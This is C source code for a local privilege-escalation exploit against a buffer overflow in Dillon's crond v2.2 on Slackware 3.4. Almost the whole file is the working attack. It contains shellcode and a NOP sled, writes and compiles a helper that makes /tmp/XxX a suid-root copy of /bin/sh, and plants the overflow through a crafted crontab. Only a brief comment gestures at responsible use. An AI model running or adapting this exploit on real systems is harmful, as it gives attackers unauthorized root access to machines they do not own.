/*      Dillon's Crond v2.2 exploit For Slackware 3.4           */
/*                                                              */
/* There exists a buffer overflow in Slackware's                */
/* /usr/sbin/crond in the fdprintf() function from subs.c       */
/* [specifically vsprintf()]. Also take note that the overflow  */
/* was discovered by the KSRT team.                             */

/* However, to exploit this, crond must be invoked without the  */
/* -l option. By default, it is invoked with the -l option from */
/* the /etc/rc.d/rc.M script -> /usr/sbin/crond -l10         */

/* Therefore, by default this exploit will not work. However,   */
/* if crond is running without the -l option,  then root can be */
/* obtained.                                                    */

/* Simply compile and run this and look for a suid root shell   */
/* in /tmp (/tmp/XxX) in about one  minute. This exploit also   */
/* seems to cause crond to segfault if X is runninga.  Please   */
/* use this in a responsible manner.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
    
#define DEFAULT_OFFSET 560
#define DEFAULT_BUFFER_SIZE 980
#define TOTAL_BUFFER 4096

char shellcode[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/tmp/xo";

long get_esp(void) {
  __asm__("movl %esp,%eax");
}

void calc_bs(int *bs_ptr)
{
    int len=0;
    struct passwd *p_name;

    /* dependant on length of username */
    p_name=getpwuid(getuid());
    len=strlen(p_name->pw_name);
    *bs_ptr = 986 - len;
    return;
}

int main(int argc, char **argv) {
    char *buff = NULL;
    unsigned long *addr_ptr = NULL;
    char *ptr = NULL;
    int i, ofs=DEFAULT_OFFSET;
    int bs=DEFAULT_BUFFER_SIZE;
    FILE *fp=NULL;

    /* probably will not need to give argument */
    if (argc==2)
	    ofs=atoi(argv[1]);
    calc_bs(&bs);
    buff=malloc(TOTAL_BUFFER);
    if(!buff) {
	    perror("malloc");
	    exit(EXIT_FAILURE);
    }
    ptr=buff;
    memset(ptr,0x90, bs-strlen(shellcode));
    ptr += bs-strlen(shellcode);
    for (i=0; i<strlen(shellcode); i++)
	    *(ptr++) = shellcode[i];
    addr_ptr = (long *)ptr;
    for (i=0; i<2; i++)
	    *(addr_ptr++)=get_esp()-ofs;
    ptr=(char *)addr_ptr;
    *ptr=0;

    /* create binary in /tmp to make suid shell */
    fp=fopen("/tmp/xo.c","w+");
    if (!fp) {
	    fprintf(stderr,"Can't open /tmp/xo.c for writing!");
	    exit(EXIT_FAILURE);
    }
    fprintf(fp,"#include <stdio.h>\n");
    fprintf(fp,"#include <stdlib.h>\n");
    fprintf(fp,"main() {\n");
    fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
    fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
    fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
    fprintf(fp,"}\n");
    fclose(fp);
    /* compile our program to create suid shell */
    system("cc -o /tmp/xo /tmp/xo.c");
    unlink("/tmp/xo.c");
 
    /* now use crontab to plant overflow for crond */
    fp=fopen("r00t","w+");
    if (!fp) {
	    perror("fopen");
	    exit(EXIT_FAILURE);
    }
    fprintf(fp,"%s\n",buff);
    fclose(fp);

    /* put our r00t crontab in crontabs directory */
    system("/usr/bin/crontab r00t");
    unlink("r00t");

    /* helpful reminder */
    printf("Now wait about 1 minute and look\n");
    printf("for the suid shell -> /tmp/XxX\n");
    exit(0);
}
